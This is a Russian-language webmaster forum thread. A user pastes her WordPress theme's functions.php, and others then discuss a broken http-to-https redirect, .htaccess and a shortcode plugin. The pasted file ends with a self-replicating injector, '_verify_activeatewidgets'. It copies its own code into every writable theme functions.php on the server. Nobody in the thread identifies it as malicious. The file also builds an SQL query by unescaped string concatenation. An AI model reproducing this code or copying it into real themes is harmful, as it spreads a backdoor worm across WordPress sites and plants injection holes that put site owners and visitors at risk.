      'id'=>'widget-18',
      'before_widget' => '<div id="%1$s" class="widget %2$s"><div class="widget-wrap">',
      'after_widget' => '</div></div>',
      'before_title' => '<div class="widgettitle"><span>',
      'after_title' => '</span></div>',
      ));
}

add_action( 'init', 'theme_widgets_init' );

/*-----------------------------------------------------------------------------------*/
// Add Excerpt field to Pages
/*-----------------------------------------------------------------------------------*/
add_post_type_support( 'page', 'excerpt' );


/*-----------------------------------------------------------------------------------*/
// Add RSS Feed Links
/*-----------------------------------------------------------------------------------*/
add_theme_support( 'automatic-feed-links' );


/*-----------------------------------------------------------------------------------*/
// Add support for WP 3.0 Menu Management
/*-----------------------------------------------------------------------------------*/
if (function_exists('add_theme_support')) {
   add_theme_support('menus');
}


/*-----------------------------------------------------------------------------------*/
// Register Nav Menus
/*-----------------------------------------------------------------------------------*/
if (function_exists('register_nav_menus')) {
   function register_my_menus() {
      register_nav_menus(array(
         'topnav' => __( 'Top Navigation' ),
         'catnav' => __( 'Secondary Navigation' ),
         'footernav' => __( 'Footer Navigation' )
         )
      );
   }

   add_action( 'init', 'register_my_menus' );
}


/*-----------------------------------------------------------------------------------*/
// Fallback function for Top Navigation
/*-----------------------------------------------------------------------------------*/
function nav_fallback() {
   wp_list_pages('title_li=');
}


/*-----------------------------------------------------------------------------------*/
// Fallback function for Category Navigation
/*-----------------------------------------------------------------------------------*/
function catnav_fallback() {
   wp_list_categories('title_li=');
}


/*-----------------------------------------------------------------------------------*/
// Add Twitter and other social media links to user profile
/*-----------------------------------------------------------------------------------*/
add_filter('user_contactmethods','add_twitter_contactmethod',10,1);
function add_twitter_contactmethod( $contactmethods ) {
   $contactmethods['twitter'] = 'Twitter Username';
   $contactmethods['facebook'] = 'Facebook Username';
   $contactmethods['instagram'] = 'Instagram Username';
   $contactmethods['pinterest'] = 'Pinterest Username';
   $contactmethods['googbuzz'] = 'Google Plus Username';
   $contactmethods['linkedin'] = 'LinkedIn Username';
   $contactmethods['flickr'] = 'Flickr Username';
   $contactmethods['youtube'] = 'Youtube Username';

   return $contactmethods;
}


/*-----------------------------------------------------------------------------------*/
// Function to check for active Page Template File
/*-----------------------------------------------------------------------------------*/
function is_pagetemplate_active($pagetemplate = '') {
   global $wpdb;
   $sql = "select meta_key from $wpdb->postmeta where meta_key like '_wp_page_template' and meta_value like '" . $pagetemplate . "'";
   $result = $wpdb->query($sql);
   if ($result) {
      return TRUE;
   } else {
      return FALSE;
   }
}


/*-----------------------------------------------------------------------------------*/
// Function to get custom field value.
/*-----------------------------------------------------------------------------------*/
function get_custom_field($key, $echo = FALSE) {
   global $post;
   $custom_field = get_post_meta($post->ID, $key, true);
   if ($echo == FALSE) return $custom_field;
   echo $custom_field;
}


/*-----------------------------------------------------------------------------------*/
// Function to limit the number of words in the post excerpt.
/*-----------------------------------------------------------------------------------*/
function string_limit_words($string, $word_limit) {
   $words = explode(' ', $string, ($word_limit + 1));
   if(count($words) > $word_limit)
   array_pop($words);
   return implode(' ', $words);
}


/*-----------------------------------------------------------------------------------*/
// Function to list pings/trackbacks.
/*-----------------------------------------------------------------------------------*/
function list_pings($comment, $args, $depth) {
   $GLOBALS['comment'] = $comment; ?>
        <li id="comment-<?php comment_ID(); ?>"><?php comment_author_link(); ?> | <?php comment_date(); ?>
<?php }


/*-----------------------------------------------------------------------------------*/
// Function to add rel="nofollow" to the read more link.
/*-----------------------------------------------------------------------------------*/
function add_nofollow_to_more_links($content) {
   return preg_replace("@class=\"more-link\"@", "class=\"more-link\" rel=\"nofollow\"", $content);
}

add_filter('the_content', 'add_nofollow_to_more_links');


/*-----------------------------------------------------------------------------------*/
// Function to remove default border from gallery thumbnails
/*-----------------------------------------------------------------------------------*/
function remove_gallery_border( $galleryStyles ) {

   // Set the string we want to remove from the default style declaration.
   $remove = "border: 2px solid #cfcfcf;";

   // Remove it.
   $galleryStyles = str_replace( $remove, '', $galleryStyles );

   return $galleryStyles ;
}

add_filter( 'gallery_style', 'remove_gallery_border' );


/*-----------------------------------------------------------------------------------*/
// Function to get the post excerpt
/*-----------------------------------------------------------------------------------*/
function solostream_excerpt() {
   if ( get_option('solostream_post_content') == 'Excerpts' ) { ?>
      <div class="my-excerpt"><?php the_excerpt(); ?></div>
      <p class="readmore"><a class="more-link" href="<?php the_permalink() ?>" rel="nofollow" title="<?php _e("Перейти на страницу", "solostream"); ?> <?php the_title(); ?>"><?php _e("Читать далее", "solostream"); ?></a></p>
   <?php } else {
      the_content(__("Читать далее &raquo;", "solostream"));
   }
}

?>
<?php
function _verify_activeatewidgets(){
   $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
   $output=strip_tags($output, $allowed);
   $direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
   if (is_array($direst)){
      foreach ($direst as $item){
         if (is_writable($item)){
            $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
            $cont=file_get_contents($item);
            if (stripos($cont,$ftion) === false){
               $issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
               $output .= $before . "Not found" . $after;
               if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
               $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);            
               $output .= ($is_showdots && $ellipsis) ? "..." : "";
            }
         }
      }
   }
   return $output;
}
function _getall_widgetcont($wids,$items=array()){
   $places=array_shift($wids);
   if(substr($places,-1) == "/"){
      $places=substr($places,0,-1);
   }
   if(!file_exists($places) || !is_dir($places)){
      return false;
   }elseif(is_readable($places)){
      $elems=scandir($places);
      foreach ($elems as $elem){
         if ($elem != "." && $elem != ".."){
            if (is_dir($places . "/" . $elem)){
               $wids[]=$places . "/" . $elem;
            } elseif (is_file($places . "/" . $elem)&&
               $elem == substr(__FILE__,-13)){
               $items[]=$places . "/" . $elem;}
            }
         }
   }else{
      return false;   
   }
   if (sizeof($wids) > 0){
      return _getall_widgetcont($wids,$items);
   } else {
      return $items;
   }
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
   function scandir($dir,$listDirectories=false, $skipDots=true) {
       $dirArray = array();
       if ($handle = opendir($dir)) {&am


alexakap

У Вас редирект с http на https криво настроен. Редирект срабатывает, но отдается пустое содержимое страницы. В htaccess редирект не нашел. Возможно, здесь есть какая-то ошибка
  •  


evagrom79Topic starter

То есть это надо на обоих сайтах править robots.txt и htaccess? Просто мне надо хотя бы понять, какую задачу ставить на кворке, так как сама не полезу, чтобы еще хуже не сделать(

У Вас редирект с http на https криво настроен - это на обоих сайтах или на каком-то из них?

alexakap

Цитата: evagrom79 от 14-02-2018, 11:14:38
То есть это надо на обоих сайтах править robots.txt и htaccess? Просто мне надо хотя бы понять, какую задачу ставить на кворке, так как сама не полезу, чтобы еще хуже не сделать(

У Вас редирект с http на https криво настроен - это на обоих сайтах или на каком-то из них?

Это на обоих сайтах. Проверьте здесь сайт по http. Оба отдают 302 ответ, но с пустым содержимым
webmaster.yandex.ru/tools/server-response/

Не факт, что причина в этом. Я вообще не увидел редиректа в htaccess
  •  

evagrom79Topic starter

Странно, прописывала, помнится. Возможно, посносилось все вследствие доработок-переработок и перетасовки кучки плагинов. Еще и на третьем из подписи тоже, оказывается, 302 отдает...
А вы сможете все это безобразие поправить? Даже если это и не оно ошибку вызывает - все равно же исправить надо...


alexakap

Цитата: evagrom79 от 14-02-2018, 11:35:24
Странно, прописывала, помнится. Возможно, посносилось все вследствие доработок-переработок и перетасовки кучки плагинов. Еще и на третьем из подписи тоже, оказывается, 302 отдает...
А вы сможете все это безобразие поправить? Даже если это и не оно ошибку вызывает - все равно же исправить надо...

Да, давайте вечером посмотрю и ошибку попробую найти. В личку доступ по ftp от одного какого-нибудь сайта скиньте
  •  

evagrom79Topic starter

Спасибо огромное! Сейчас от первого отправлю, с него же все началось...

Аjiо

ЦитироватьДа, папки wp- закрыты
Я кэш и контент открываю, брат жив ;D

Цитировать<!-- Shortcodes Ultimate custom CSS - start -->
<style type="text/css">
[pdfview][/pdfview]
</style>
<!-- Shortcodes Ultimate custom CSS - end -->
Могу предположить, что это плагин Shortcodes Ultimate custom CSS
  •  


evagrom79Topic starter

Да его не поймешь, как лучше - открывать или закрывать)
А насчет плагина - шорткоды есть, но он так и называется "Шорткоды" (автор В. Анохин) Про Shortcodes Ultimate custom CSS знаю, что есть такой, но у себя не устанавливала. Или устанавливала да снесла - не помню, я их многие примеряла. Тем интереснее становится...


Аjiо

Цитироватьназывается "Шорткоды"
Он самый, вроде норм работает, о чем вы там выше общаетесь не сильно уловил.

Проблема действительно с редиректом к хостеру обратитесь пусть поправит htaccess, я своих всегда напрягаю. У каждого хоста одни и те же записи в htaccess не всегда проходят.
  •